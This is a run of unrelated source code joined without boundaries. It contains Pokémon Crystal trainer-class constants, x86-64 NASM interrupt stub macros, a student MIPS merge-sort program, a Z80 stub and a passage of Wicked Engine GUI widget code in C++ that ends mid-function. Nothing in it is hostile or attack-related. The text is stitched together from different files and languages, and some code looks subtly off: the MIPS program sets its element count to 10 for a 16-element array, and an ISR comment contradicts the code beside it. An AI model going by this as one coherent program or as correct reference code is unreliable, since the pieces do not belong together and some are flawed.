ALAN2 const ALAN3 const CHAD2 const CHAD3 const JACK4 const JACK5 const ALAN4 const ALAN5 const CHAD4 const CHAD5 trainerclass BIRD_KEEPER ; 18 const ROD const ABE const BRYAN const THEO const TOBY const DENIS const VANCE1 const HANK const ROY const BORIS const BOB const JOSE1 const PETER const JOSE2 const PERRY const BRET const JOSE3 const VANCE2 const VANCE3 trainerclass LASS ; 19 const CARRIE const BRIDGET const ALICE const KRISE const CONNIE1 const LINDA const LAURA const SHANNON const MICHELLE const DANA1 const ELLEN const CONNIE2 const CONNIE3 const DANA2 const DANA3 const DANA4 const DANA5 const MABEL trainerclass JANINE ; 1a const JANINE1 trainerclass COOLTRAINERM ; 1b const NICK const AARON const PAUL const CODY const MIKE const GAVEN1 const GAVEN2 const RYAN const JAKE const GAVEN3 const BLAKE const BRIAN const ERICK const ANDY const TYLER const SEAN const KEVIN const STEVE const ALLEN const DARIN trainerclass COOLTRAINERF ; 1c const GWEN const LOIS const FRAN const LOLA const KATE const IRENE const KELLY const JOYCE const BETH1 const REENA1 const MEGAN const BETH2 const CAROL const QUINN const EMMA const CYBIL const JENN const BETH3 const REENA2 const REENA3 const CARA trainerclass BEAUTY ; 1d const VICTORIA const SAMANTHA const JULIE const JACLYN const BRENDA const CASSIE const CAROLINE const CARLENE const JESSICA const RACHAEL const ANGELICA const KENDRA const VERONICA const JULIA const THERESA const VALERIE const OLIVIA trainerclass POKEMANIAC ; 1e const LARRY const ANDREW const CALVIN const SHANE const BEN const BRENT1 const RON const ETHAN const BRENT2 const BRENT3 const ISSAC const DONALD const ZACH const BRENT4 const MILLER trainerclass GRUNTM ; 1f const GRUNTM_1 const GRUNTM_2 const GRUNTM_3 const GRUNTM_4 const GRUNTM_5 const GRUNTM_6 const GRUNTM_7 const GRUNTM_8 const GRUNTM_9 const GRUNTM_10 const GRUNTM_11 const GRUNTM_12 const GRUNTM_13 const GRUNTM_14 const GRUNTM_15 const GRUNTM_16 const GRUNTM_17 const GRUNTM_18 const GRUNTM_19 const GRUNTM_20 const GRUNTM_21 const GRUNTM_22 const GRUNTM_23 const GRUNTM_24 const GRUNTM_25 const GRUNTM_26 const GRUNTM_27 const GRUNTM_28 const GRUNTM_29 const GRUNTM_30 const GRUNTM_31 trainerclass GENTLEMAN ; 20 const PRESTON const EDWARD const GREGORY const VIRGIL const ALFRED trainerclass SKIER ; 21 const ROXANNE const CLARISSA trainerclass TEACHER ; 22 const COLETTE const HILLARY const SHIRLEY trainerclass SABRINA ; 23 const SABRINA1 trainerclass BUG_CATCHER ; 24 const DON const ROB const ED const WADE1 const BUG_CATCHER_BENNY const AL const JOSH const ARNIE1 const KEN const WADE2 const WADE3 const DOUG const ARNIE2 const ARNIE3 const WADE4 const WADE5 const ARNIE4 const ARNIE5 const WAYNE trainerclass FISHER ; 25 const JUSTIN const RALPH1 const ARNOLD const KYLE const HENRY const MARVIN const TULLY1 const ANDRE const RAYMOND const WILTON1 const EDGAR const JONAH const MARTIN const STEPHEN const BARNEY const RALPH2 const RALPH3 const TULLY2 const TULLY3 const WILTON2 const SCOTT const WILTON3 const RALPH4 const RALPH5 const TULLY4 trainerclass SWIMMERM ; 26 const HAROLD const SIMON const RANDALL const CHARLIE const GEORGE const BERKE const KIRK const MATHEW const HAL const PATON const DARYL const WALTER const TONY const JEROME const TUCKER const RICK const CAMERON const SETH const JAMES const LEWIS const PARKER trainerclass SWIMMERF ; 27 const ELAINE const PAULA const KAYLEE const SUSIE const DENISE const KARA const WENDY const LISA const JILL const MARY const KATIE const DAWN const TARA const NICOLE const LORI const JODY const NIKKI const DIANA const BRIANA trainerclass SAILOR ; 28 const EUGENE const HUEY1 const TERRELL const KENT const ERNEST const JEFF const GARRETT const KENNETH const STANLY const HARRY const HUEY2 const HUEY3 const HUEY4 trainerclass SUPER_NERD ; 29 const STAN const ERIC const GREGG const JAY const DAVE const SAM const TOM const PAT const SHAWN const TERU const RUSS const NORTON const HUGH const MARKUS trainerclass RIVAL2 ; 2a const RIVAL2_1_CHIKORITA const RIVAL2_1_CYNDAQUIL const RIVAL2_1_TOTODILE const RIVAL2_2_CHIKORITA const RIVAL2_2_CYNDAQUIL const RIVAL2_2_TOTODILE trainerclass GUITARIST ; 2b const CLYDE const VINCENT trainerclass HIKER ; 2c const ANTHONY1 const RUSSELL const PHILLIP const LEONARD const ANTHONY2 const BENJAMIN const ERIK const MICHAEL const PARRY1 const TIMOTHY const BAILEY const ANTHONY3 const TIM const NOLAND const SIDNEY const KENNY const JIM const DANIEL const PARRY2 const PARRY3 const ANTHONY4 const ANTHONY5 trainerclass BIKER ; 2d const BIKER_BENNY const KAZU const DWAYNE const HARRIS const ZEKE const CHARLES const RILEY const JOEL const GLENN trainerclass BLAINE ; 2e const BLAINE1 trainerclass BURGLAR ; 2f const DUNCAN const EDDIE const COREY trainerclass FIREBREATHER ; 30 const OTIS const DICK const NED const BURT const BILL const WALT const RAY const LYLE trainerclass JUGGLER ; 31 const IRWIN1 const FRITZ const HORTON const IRWIN2 const IRWIN3 const IRWIN4 trainerclass BLACKBELT_T ; 32 const KENJI1 const YOSHI const KENJI2 const LAO const NOB const KIYO const LUNG const KENJI3 const WAI trainerclass EXECUTIVEM ; 33 const EXECUTIVEM_1 const EXECUTIVEM_2 const EXECUTIVEM_3 const EXECUTIVEM_4 trainerclass PSYCHIC_T ; 34 const NATHAN const FRANKLIN const HERMAN const FIDEL const GREG const NORMAN const MARK const PHIL const RICHARD const GILBERT const JARED const RODNEY trainerclass PICNICKER ; 35 const LIZ1 const GINA1 const BROOKE const KIM const CINDY const HOPE const SHARON const DEBRA const GINA2 const ERIN1 const LIZ2 const LIZ3 const HEIDI const EDNA const GINA3 const TIFFANY1 const TIFFANY2 const ERIN2 const TANYA const TIFFANY3 const ERIN3 const LIZ4 const LIZ5 const GINA4 const GINA5 const TIFFANY4 trainerclass CAMPER ; 36 const ROLAND const TODD1 const IVAN const ELLIOT const BARRY const LLOYD const DEAN const SID const HARVEY const DALE const TED const TODD2 const TODD3 const THOMAS const LEROY const DAVID const JOHN const JERRY const SPENCER const TODD4 const TODD5 const QUENTIN trainerclass EXECUTIVEF ; 37 const EXECUTIVEF_1 const EXECUTIVEF_2 trainerclass SAGE ; 38 const CHOW const NICO const JIN const TROY const JEFFREY const PING const EDMOND const NEAL const LI const GAKU const MASA const KOJI trainerclass MEDIUM ; 39 const MARTHA const GRACE const BETHANY const MARGRET const ETHEL const REBECCA const DORIS trainerclass BOARDER ; 3a const RONALD const BRAD const DOUGLAS trainerclass POKEFANM ; 3b const WILLIAM const DEREK1 const ROBERT const JOSHUA const CARTER const TREVOR const BRANDON const JEREMY const COLIN const DEREK2 const DEREK3 const ALEX const REX const ALLAN trainerclass KIMONO_GIRL ; 3c const NAOKO1 const NAOKO2 const SAYO const ZUKI const KUNI const MIKI trainerclass TWINS ; 3d const AMYANDMAY1 const ANNANDANNE1 const ANNANDANNE2 const AMYANDMAY2 const JOANDZOE1 const JOANDZOE2 const MEGANDPEG1 const MEGANDPEG2 const LEAANDPIA1 const LEAANDPIA2 trainerclass POKEFANF ; 3e const BEVERLY1 const RUTH const BEVERLY2 const BEVERLY3 const GEORGIA const JAIME trainerclass RED ; 3f const RED1 trainerclass BLUE ; 40 const BLUE1 trainerclass OFFICER ; 41 const KEITH const DIRK trainerclass GRUNTF ; 42 const GRUNTF_1 const GRUNTF_2 const GRUNTF_3 const GRUNTF_4 const GRUNTF_5 trainerclass MYSTICALMAN ; 43 const EUSINE NUM_TRAINER_CLASSES EQU __enum__
%macro isr_err_stub 1 isr_stub_%+%1: call exception_handler iretq %endmacro ; if writing for 64-bit, use iretq instead %macro isr_no_err_stub 1 isr_stub_%+%1: call exception_handler iretq %endmacro extern exception_handler isr_no_err_stub 0 isr_no_err_stub 1 isr_no_err_stub 2 isr_no_err_stub 3 isr_no_err_stub 4 isr_no_err_stub 5 isr_no_err_stub 6 isr_no_err_stub 7 isr_err_stub 8 isr_no_err_stub 9 isr_err_stub 10 isr_err_stub 11 isr_err_stub 12 isr_err_stub 13 isr_err_stub 14 isr_no_err_stub 15 isr_no_err_stub 16 isr_err_stub 17 isr_no_err_stub 18 isr_no_err_stub 19 isr_no_err_stub 20 isr_no_err_stub 21 isr_no_err_stub 22 isr_no_err_stub 23 isr_no_err_stub 24 isr_no_err_stub 25 isr_no_err_stub 26 isr_no_err_stub 27 isr_no_err_stub 28 isr_no_err_stub 29 isr_err_stub 30 isr_no_err_stub 31 global isr_stub_table isr_stub_table: %assign i 0 %rep 32 dq isr_stub_%+i %assign i i+1 %endrep
############################################# # Zayadur Khan CIS-341 03/26/17 # # Project 2 mergeSort implementation # ############################################# .data a1: .word 56, 3, 46, 47, 34, 12, 1, 5, 10, 8, 33, 25, 29, 31, 50, 43 c: .word 0:100 prompt: .asciiz "Order array? [0:yes / 1:no] = " result: .asciiz "Result: " seperator: .asciiz "," .text main: la $a0, prompt li $v0, 4 syscall li $v0, 5 syscall move $t0, $v0 bne $t0, $zero, exitPrompt q1: la $s2, a1 addi $s0, 10 # load array j methodCall # call mergeSort exitPrompt: j exit methodCall: move $a0, $s2 # a[] move $a1, $zero # low addi $a2, $s0, -1 # high jal mergeSort endProgram: move $t0, $zero move $t1, $s2 # point to head la $a0, result # print sorted array li $v0, 4 syscall print: beq $t0, $s0, exit # if not equal, then exit lw $t2, 0($t1) # load the element into $t2 move $a0, $t2 # move $t2 to print into $a0. li $v0, 1 # print_int syscall la $a0, seperator li $v0, 4 syscall addi $t0, $t0, 1 addi $t1, $t1, 4 j print exit: li $v0,10 syscall mergeSort: addi $sp, $sp, -20 sw $ra, 0($sp) sw $a0, 4($sp) sw $a1, 8($sp) sw $a2, 12($sp) slt $t0, $a1, $a2 # if(low >= high) beq $t0, $zero, endMergeSort add $t0, $a1, $a2 srl $a3, $t0, 1 # mid sw $a3, 16($sp) lw $a0, 4($sp) # a[] lw $a1, 8($sp) # low lw $a2, 16($sp) # mid jal mergeSort lw $a0, 4($sp) # a[] lw $a1, 16($sp) addi $a1, 1 # mid + 1 lw $a2, 12($sp) # high jal mergeSort lw $a0, 4($sp) # a[] lw $a1, 8($sp) # low lw $a2, 12($sp) # high lw $a3, 16($sp) # mid jal merge endMergeSort: lw $ra, 0($sp) lw $a0, 4($sp) lw $a1, 8($sp) lw $a2, 12($sp) addi $sp, $sp, 20 jr $ra merge: addi $sp, $sp, -20 sw $ra, 0($sp) sw $a0, 4($sp) # a[] sw $a1, 8($sp) # low sw $a2, 12($sp) # high sw $a3, 16($sp) # mid lw $t1, 8($sp) # i lw $t2, 8($sp) # k lw $t3, 16($sp) addi $t3, $t3, 1 la $s3, c # c[] thisWhile: slt $t0, $a3, $t1 # check if i <= mid bne $t0, $zero, thatWhile slt $t0, $a2, $t3 # check if j <= high bne $t0, $zero, thatWhile if: sll $t4, $t1, 2 # a[i] add $t4, $t4, $a0 lw $t4, 0($t4) sll $t5, $t3, 2 # a[j] add $t5, $t5, $a0 lw $t5, 0($t5) slt $t0, $t4, $t5 # a[i] < a[j] beq $t0, $zero, else sll $t6, $t2, 2 # c[k] = a[i] add $t6, $t6, $s3 sw $t4, 0($t6) addi $t2, $t2, 1 # k++ addi $t1, $t1, 1 # i++ j thisWhile else: sll $t6, $t2, 2 # c[k] = a[j] add $t6, $t6, $s3 sw $t5, 0($t6) addi $t2, $t2, 1 # k++ addi $t3, $t3, 1 # j++ j thisWhile thatWhile: slt $t0, $a3, $t1 # check if i <= mid bne $t0, $zero, otherWhile sll $t4, $t1, 2 # a[i] add $t4, $t4, $a0 lw $t4, 0($t4) sll $t6, $t2, 2 # c[k] = a[i] add $t6, $t6, $s3 sw $t4, 0($t6) addi $t2, $t2, 1 # k++ addi $t1, $t1, 1 # i++ j thatWhile otherWhile: slt $t0, $a2, $t3 # check if j <= high bne $t0, $zero, for sll $t5, $t3, 2 # a[j] add $t5, $t5, $a0 lw $t5, 0($t5) sll $t6, $t2, 2 # set c[k] = a[j] add $t6, $t6, $s3 sw $t5, 0($t6) addi $t2, $t2, 1 # k++ addi $t3, $t3, 1 # j++ j otherWhile for: lw $t1, 8($sp) # i loop: slt $t0, $t1, $t2 # check if i < k beq $t0, $zero, endMerge sll $t4, $t1, 2 # i * 4 add $t5, $t4, $s3 # c[] + i add $t6, $t4, $a0 # a[] + i lw $t5, 0($t5) # c[i] sw $t5, 0($t6) # a[i] = c[i] addi $t1,$t1,1 # i++ j loop endMerge: lw $ra, 0($sp) lw $a0, 4($sp) lw $a1, 8($sp) lw $a2, 12($sp) lw $a3, 16($sp) addi $sp, $sp, 20 jr $ra
PUBLIC _fnoisy ; fastcall _fnoisy ex de, hl jp 0xb917
#include "wiGUI.h" #include "wiInput.h" #include "wiPrimitive.h" #include "wiProfiler.h" #include "wiRenderer.h" #include "wiTimer.h" #include "wiEventHandler.h" #include "wiFont.h" #include "wiImage.h" #include "wiTextureHelper.h" #include "wiBacklog.h" #include <sstream> using namespace wi::graphics; using namespace wi::primitive; namespace wi::gui { struct InternalState { wi::graphics::PipelineState PSO_colored; InternalState() { wi::Timer timer; static wi::eventhandler::Handle handle = wi::eventhandler::Subscribe(wi::eventhandler::EVENT_RELOAD_SHADERS, [this](uint64_t userdata) { LoadShaders(); }); LoadShaders(); wi::backlog::post("wi::gui Initialized (" + std::to_string((int)std::round(timer.elapsed())) + " ms)"); } void LoadShaders() { PipelineStateDesc desc; desc.vs = wi::renderer::GetShader(wi::enums::VSTYPE_VERTEXCOLOR); desc.ps = wi::renderer::GetShader(wi::enums::PSTYPE_VERTEXCOLOR); desc.il = wi::renderer::GetInputLayout(wi::enums::ILTYPE_VERTEXCOLOR); desc.dss = wi::renderer::GetDepthStencilState(wi::enums::DSSTYPE_DEPTHDISABLED); desc.bs = wi::renderer::GetBlendState(wi::enums::BSTYPE_TRANSPARENT); desc.rs = wi::renderer::GetRasterizerState(wi::enums::RSTYPE_DOUBLESIDED); desc.pt = PrimitiveTopology::TRIANGLESTRIP; wi::graphics::GetDevice()->CreatePipelineState(&desc, &PSO_colored); } }; inline InternalState& gui_internal() { static InternalState internal_state; return internal_state; } void GUI::Update(const wi::Canvas& canvas, float dt) { if (!visible) { return; } auto range = wi::profiler::BeginRangeCPU("GUI Update"); XMFLOAT4 pointer = wi::input::GetPointer(); Hitbox2D pointerHitbox = Hitbox2D(XMFLOAT2(pointer.x, pointer.y), XMFLOAT2(1, 1)); uint32_t priority = 0; focus = false; for (auto& widget : widgets) { widget->force_disable = focus; widget->Update(canvas, dt); widget->force_disable = false; if (widget->priority_change) { widget->priority_change = false; widget->priority = priority++; } else { widget->priority = ~0u; } if (widget->IsVisible() && widget->hitBox.intersects(pointerHitbox)) { focus = true; } if (widget->GetState() > IDLE) { focus = true; } } //Sort only if there are priority changes if (priority > 0) { //Use std::stable_sort instead of std::sort to preserve UI element order with equal priorities std::stable_sort(widgets.begin(), widgets.end(), [](const Widget* a, const Widget* b) { return a->priority < b->priority; }); } wi::profiler::EndRange(range); } void GUI::Render(const wi::Canvas& canvas, CommandList cmd) const { if (!visible) { return; } auto range_cpu = wi::profiler::BeginRangeCPU("GUI Render"); auto range_gpu = wi::profiler::BeginRangeGPU("GUI Render", cmd); Rect scissorRect; scissorRect.bottom = (int32_t)(canvas.GetPhysicalHeight()); scissorRect.left = (int32_t)(0); scissorRect.right = (int32_t)(canvas.GetPhysicalWidth()); scissorRect.top = (int32_t)(0); GraphicsDevice* device = wi::graphics::GetDevice(); device->EventBegin("GUI", cmd); // Rendering is back to front: for (size_t i = 0; i < widgets.size(); ++i) { const Widget* widget = widgets[widgets.size() - i - 1]; device->BindScissorRects(1, &scissorRect, cmd); widget->Render(canvas, cmd); } device->BindScissorRects(1, &scissorRect, cmd); for (auto& x : widgets) { x->RenderTooltip(canvas, cmd); } device->EventEnd(cmd); wi::profiler::EndRange(range_cpu); wi::profiler::EndRange(range_gpu); } void GUI::AddWidget(Widget* widget) { if (widget != nullptr) { assert(std::find(widgets.begin(), widgets.end(), widget) == widgets.end()); // don't attach one widget twice! widgets.push_back(widget); } } void GUI::RemoveWidget(Widget* widget) { for (auto& x : widgets) { if (x == widget) { x = widgets.back(); widgets.pop_back(); break; } } } Widget* GUI::GetWidget(const std::string& name) { for (auto& x : widgets) { if (x->GetName() == name) { return x; } } return nullptr; } bool GUI::HasFocus() { if (!visible) { return false; } return focus; } Widget::Widget() { sprites[IDLE].params.color = wi::Color::Booger(); sprites[FOCUS].params.color = wi::Color::Gray(); sprites[ACTIVE].params.color = wi::Color::White(); sprites[DEACTIVATING].params.color = wi::Color::Gray(); font.params.shadowColor = wi::Color::Black(); for (int i = IDLE; i < WIDGETSTATE_COUNT; ++i) { sprites[i].params.blendFlag = wi::enums::BLENDMODE_OPAQUE; sprites[i].params.enableBackground(); } } void Widget::Update(const wi::Canvas& canvas, float dt) { if (!IsVisible()) { return; } if (force_disable) { state = IDLE; } hitBox = Hitbox2D(XMFLOAT2(translation.x, translation.y), XMFLOAT2(scale.x, scale.y)); if (!force_disable && GetState() != WIDGETSTATE::ACTIVE && !tooltip.empty() && GetPointerHitbox().intersects(hitBox)) { tooltipTimer++; } else { tooltipTimer = 0; } UpdateTransform(); if (parent != nullptr) { this->UpdateTransform_Parented(*parent); } XMVECTOR S, R, T; XMMatrixDecompose(&S, &R, &T, XMLoadFloat4x4(&world)); XMStoreFloat3(&translation, T); XMStoreFloat3(&scale, S); scissorRect.bottom = (int32_t)(translation.y + scale.y); scissorRect.left = (int32_t)(translation.x); scissorRect.right = (int32_t)(translation.x + scale.x); scissorRect.top = (int32_t)(translation.y); // default sprite and font placement: for (int i = IDLE; i < WIDGETSTATE_COUNT; ++i) { sprites[i].params.pos.x = translation.x; sprites[i].params.pos.y = translation.y; sprites[i].params.siz.x = scale.x; sprites[i].params.siz.y = scale.y; sprites[i].params.fade = enabled ? 0.0f : 0.5f; } font.params.posX = translation.x; font.params.posY = translation.y; } void Widget::RenderTooltip(const wi::Canvas& canvas, CommandList cmd) const { if (!IsVisible()) { return; } if (tooltipTimer > 25) { float screenwidth = canvas.GetLogicalWidth(); float screenheight = canvas.GetLogicalHeight(); wi::font::Params fontProps = wi::font::Params(0, 0, wi::font::WIFONTSIZE_DEFAULT, wi::font::WIFALIGN_LEFT, wi::font::WIFALIGN_TOP); fontProps.color = wi::Color(25, 25, 25, 255); wi::SpriteFont tooltipFont = wi::SpriteFont(tooltip, fontProps); if (!scriptTip.empty()) { tooltipFont.SetText(tooltip + "\n" + scriptTip); } static const float _border = 2; float textWidth = tooltipFont.TextWidth() + _border * 2; float textHeight = tooltipFont.TextHeight() + _border * 2; XMFLOAT2 pointer = GetPointerHitbox().pos; tooltipFont.params.posX = pointer.x; tooltipFont.params.posY = pointer.y; if (tooltipFont.params.posX + textWidth > screenwidth) { tooltipFont.params.posX -= tooltipFont.params.posX + textWidth - screenwidth; } if (tooltipFont.params.posX < 0) { tooltipFont.params.posX = 0; } if (tooltipFont.params.posY > screenheight * 0.8f) { tooltipFont.params.posY -= 30; } else { tooltipFont.params.posY += 40; } wi::image::Draw(wi::texturehelper::getWhite(), wi::image::Params(tooltipFont.params.posX - _border, tooltipFont.params.posY - _border, textWidth, textHeight, wi::Color(255, 234, 165)), cmd); tooltipFont.SetText(tooltip); tooltipFont.Draw(cmd); if (!scriptTip.empty()) { tooltipFont.SetText(scriptTip); tooltipFont.params.posY += (int)(textHeight / 2); tooltipFont.params.color = wi::Color(25, 25, 25, 110); tooltipFont.Draw(cmd); } } } const std::string& Widget::GetName() const { return name; } void Widget::SetName(const std::string& value) { if (value.length() <= 0) { static std::atomic<uint32_t> widgetID{ 0 }; name = "widget_" + std::to_string(widgetID.fetch_add(1)); } else { name = value; } } const std::string Widget::GetText() const { return font.GetTextA(); } void Widget::SetText(const std::string& value) { font.SetText(value); } void Widget::SetText(std::string&& value) { font.SetText(std::move(value)); } void Widget::SetTooltip(const std::string& value) { tooltip = value; } void Widget::SetTooltip(std::string&& value) { tooltip = std::move(value); } void Widget::SetScriptTip(const std::string& value) { scriptTip = value; } void Widget::SetScriptTip(std::string&& value) { scriptTip = std::move(value); } void Widget::SetPos(const XMFLOAT2& value) { SetDirty(); translation_local.x = value.x; translation_local.y = value.y; UpdateTransform(); translation = translation_local; } void Widget::SetSize(const XMFLOAT2& value) { SetDirty(); scale_local.x = value.x; scale_local.y = value.y; UpdateTransform(); scale = scale_local; } WIDGETSTATE Widget::GetState() const { return state; } void Widget::SetEnabled(bool val) { if (enabled != val) { priority_change = val; enabled = val; } } bool Widget::IsEnabled() const { return enabled && visible && !force_disable; } void Widget::SetVisible(bool val) { if (visible != val) { priority_change |= val; visible = val; } } bool Widget::IsVisible() const { return visible; } void Widget::Activate() { priority_change = true; state = ACTIVE; tooltipTimer = 0; } void Widget::Deactivate() { state = DEACTIVATING; tooltipTimer = 0; } void Widget::SetColor(wi::Color color, WIDGETSTATE state) { if (state == WIDGETSTATE_COUNT) { for (int i = 0; i < WIDGETSTATE_COUNT; ++i) { sprites[i].params.color = color; } } else { sprites[state].params.color = color; } } wi::Color Widget::GetColor() const { return wi::Color::fromFloat4(sprites[GetState()].params.color); } void Widget::SetImage(wi::Resource textureResource, WIDGETSTATE state) { if (state == WIDGETSTATE_COUNT) { for (int i = 0; i < WIDGETSTATE_COUNT; ++i) { sprites[i].textureResource = textureResource; } } else { sprites[state].textureResource = textureResource; } } void Widget::AttachTo(Widget* parent) { this->parent = parent; if (parent != nullptr) { parent->UpdateTransform(); XMMATRIX B = XMMatrixInverse(nullptr, XMLoadFloat4x4(&parent->world)); MatrixTransform(B); } UpdateTransform(); if (parent != nullptr) { UpdateTransform_Parented(*parent); } } void Widget::Detach() { if (parent != nullptr) { parent = nullptr; ApplyTransform(); } } void Widget::ApplyScissor(const wi::Canvas& canvas, const Rect rect, CommandList cmd, bool constrain_to_parent) const { Rect scissor = rect; if (constrain_to_parent && parent != nullptr) { Widget* recurse_parent = parent; while (recurse_parent != nullptr) { scissor.bottom = std::min(scissor.bottom, recurse_parent->scissorRect.bottom); scissor.top = std::max(scissor.top, recurse_parent->scissorRect.top); scissor.left = std::max(scissor.left, recurse_parent->scissorRect.left); scissor.right = std::min(scissor.right, recurse_parent->scissorRect.right); recurse_parent = recurse_parent->parent; } } if (scissor.left > scissor.right) { scissor.left = scissor.right; } if (scissor.top > scissor.bottom) { scissor.top = scissor.bottom; } GraphicsDevice* device = wi::graphics::GetDevice(); float scale = canvas.GetDPIScaling(); scissor.bottom = int32_t((float)scissor.bottom * scale); scissor.top = int32_t((float)scissor.top * scale); scissor.left = int32_t((float)scissor.left * scale); scissor.right = int32_t((float)scissor.right * scale); device->BindScissorRects(1, &scissor, cmd); } Hitbox2D Widget::GetPointerHitbox() const { XMFLOAT4 pointer = wi::input::GetPointer(); return Hitbox2D(XMFLOAT2(pointer.x, pointer.y), XMFLOAT2(1, 1)); } void Button::Create(const std::string& name) { SetName(name); SetText(name); OnClick([](EventArgs args) {}); OnDragStart([](EventArgs args) {}); OnDrag([](EventArgs args) {}); OnDragEnd([](EventArgs args) {}); SetSize(XMFLOAT2(100, 30)); font.params.h_align = wi::font::WIFALIGN_CENTER; font.params.v_align = wi::font::WIFALIGN_CENTER; } void Button::Update(const wi::Canvas& canvas, float dt) { if (!IsVisible()) { return; } Widget::Update(canvas, dt); if (IsEnabled()) { hitBox.pos.x = translation.x; hitBox.pos.y = translation.y; hitBox.siz.x = scale.x; hitBox.siz.y = scale.y; Hitbox2D pointerHitbox = GetPointerHitbox(); if (state == FOCUS) { state = IDLE; } if (state == DEACTIVATING) { EventArgs args; args.clickPos = pointerHitbox.pos; onDragEnd(args); if (pointerHitbox.intersects(hitBox)) { // Click occurs when the button is released within the bounds onClick(args); } state = IDLE; } if (state == ACTIVE) { Deactivate(); } bool clicked = false; // hover the button if (pointerHitbox.intersects(hitBox)) { if (state == IDLE) { state = FOCUS; } } if (wi::input::Press(wi::input::MOUSE_BUTTON_LEFT)) { if (state == FOCUS) { // activate clicked = true; } } if (wi::input::Down(wi::input::MOUSE_BUTTON_LEFT)) { if (state == DEACTIVATING) { // Keep pressed until mouse is released Activate(); EventArgs args; args.clickPos = pointerHitbox.pos; XMFLOAT3 posDelta; posDelta.x = pointerHitbox.pos.x - prevPos.x; posDelta.y = pointerHitbox.pos.y - prevPos.y; posDelta.z = 0; args.deltaPos = XMFLOAT2(posDelta.x, posDelta.y); onDrag(args); } } if (clicked) { EventArgs args; args.clickPos = pointerHitbox.pos; dragStart = args.clickPos; args.startPos = dragStart; onDragStart(args); Activate(); } prevPos.x = pointerHitbox.pos.x; prevPos.y = pointerHitbox.pos.y; } switch (font.params.h_align) { case wi::font::WIFALIGN_LEFT: font.params.posX = translation.x + 2; break; case wi::font::WIFALIGN_RIGHT: font.params.posX = translation.x + scale.x - 2; break; case wi::font::WIFALIGN_CENTER: default: font.params.posX = translation.x + scale.x * 0.5f; break; } switch (font.params.v_align) { case wi::font::WIFALIGN_TOP: font.params.posY = translation.y + 2; break; case wi::font::WIFALIGN_BOTTOM: font.params.posY = translation.y + scale.y - 2; break; case wi::font::WIFALIGN_CENTER: default: font.params.posY = translation.y + scale.y * 0.5f; break; } } void Button::Render(const wi::Canvas& canvas, CommandList cmd) const { if (!IsVisible()) { return; } wi::Color color = GetColor(); ApplyScissor(canvas, scissorRect, cmd); sprites[state].Draw(cmd); font.Draw(cmd); } void Button::OnClick(std::function<void(EventArgs args)> func) { onClick = move(func); } void Button::OnDragStart(std::function<void(EventArgs args)> func) { onDragStart = move(func); } void Button::OnDrag(std::function<void(EventArgs args)> func) { onDrag = move(func); } void Button::OnDragEnd(std::function<void(EventArgs args)> func) { onDragEnd = move(func); } void Label::Create(const std::string& name) { SetName(name); SetText(name); SetSize(XMFLOAT2(100, 20)); } void Label::Update(const wi::Canvas& canvas, float dt) { Widget::Update(canvas, dt); font.params.h_wrap = scale.x; switch (font.params.h_align) { case wi::font::WIFALIGN_LEFT: font.params.posX = translation.x + 2; break; case wi::font::WIFALIGN_RIGHT: font.params.posX = translation.x + scale.x - 2; break; case wi::font::WIFALIGN_CENTER: default: font.params.posX = translation.x + scale.x * 0.5f; break; } switch (font.params.v_align) { case wi::font::WIFALIGN_TOP: font.params.posY = translation.y + 2; break; case wi::font::WIFALIGN_BOTTOM: font.params.posY = translation.y + scale.y - 2; break; case wi::font::WIFALIGN_CENTER: default: font.params.posY = translation.y + scale.y * 0.5f; break; } } void Label::Render(const wi::Canvas& canvas, CommandList cmd) const { if (!IsVisible()) { return; } wi::Color color = GetColor(); ApplyScissor(canvas, scissorRect, cmd); sprites[state].Draw(cmd); font.Draw(cmd); } wi::SpriteFont TextInputField::font_input; void TextInputField::Create(const std::string& name) { SetName(name); SetText(name); OnInputAccepted([](EventArgs args) {}); SetSize(XMFLOAT2(100, 30)); font.params.v_align = wi::font::WIFALIGN_CENTER; font_description.params = font.params; font_description.params.h_align = wi::font::WIFALIGN_RIGHT; } void TextInputField::SetValue(const std::string& newValue) { font.SetText(newValue); } void TextInputField::SetValue(int newValue) { std::stringstream ss(""); ss << newValue; font.SetText(ss.str()); } void TextInputField::SetValue(float newValue) { std::stringstream ss(""); ss << newValue; font.SetText(ss.str()); } const std::string TextInputField::GetValue() { return font.GetTextA(); } void TextInputField::Update(const wi::Canvas& canvas, float dt) { if (!IsVisible()) { return; } Widget::Update(canvas, dt); if (IsEnabled()) { hitBox.pos.x = translation.x; hitBox.pos.y = translation.y; hitBox.siz.x = scale.x; hitBox.siz.y = scale.y; Hitbox2D pointerHitbox = GetPointerHitbox(); bool intersectsPointer = pointerHitbox.intersects(hitBox); if (state == FOCUS) { state = IDLE; } if (state == DEACTIVATING) { state = IDLE; } bool clicked = false; // hover the button if (intersectsPointer) { if (state == IDLE) { state = FOCUS; } } if (wi::input::Press(wi::input::MOUSE_BUTTON_LEFT)) { if (state == FOCUS) { // activate clicked = true; } } if (wi::input::Down(wi::input::MOUSE_BUTTON_LEFT)) { if (state == DEACTIVATING) { // Keep pressed until mouse is released Activate(); } } if (clicked) { Activate(); font_input.SetText(font.GetText()); } if (state == ACTIVE) { if (wi::input::Press(wi::input::KEYBOARD_BUTTON_ENTER)) { // accept input... font.SetText(font_input.GetText()); font_input.text.clear(); EventArgs args; args.sValue = font.GetTextA(); args.iValue = atoi(args.sValue.c_str()); args.fValue = (float)atof(args.sValue.c_str()); onInputAccepted(args); Deactivate(); } else if ((wi::input::Press(wi::input::MOUSE_BUTTON_LEFT) && !intersectsPointer) || wi::input::Press(wi::input::KEYBOARD_BUTTON_ESCAPE)) { // cancel input font_input.text.clear(); Deactivate(); } } } font.params.posX = translation.x + 2; font.params.posY = translation.y + scale.y * 0.5f; font_description.params.posX = translation.x - 2; font_description.params.posY = translation.y + scale.y * 0.5f; if (state == ACTIVE) { font_input.params = font.params; } } void TextInputField::Render(const wi::Canvas& canvas, CommandList cmd) const { if (!IsVisible()) { return; } wi::Color color = GetColor(); font_description.Draw(cmd); ApplyScissor(canvas, scissorRect, cmd); sprites[state].Draw(cmd); if (state == ACTIVE) { font_input.Draw(cmd); } else { font.Draw(cmd); } } void TextInputField::OnInputAccepted(std::function<void(EventArgs args)> func) { onInputAccepted = move(func); } void TextInputField::AddInput(const char inputChar) { std::string value_new = font_input.GetTextA(); value_new.push_back(inputChar); font_input.SetText(value_new); } void TextInputField::DeleteFromInput() { std::string value_new = font_input.GetTextA(); if (!value_new.empty()) { value_new.pop_back(); } font_input.SetText(value_new); } void Slider::Create(float start, float end, float defaultValue, float step, const std::string& name) { this->start = start; this->end = end; this->value = defaultValue; this->step = std::max(step, 1.0f); SetName(name); SetText(name); OnSlide([](EventArgs args) {}); 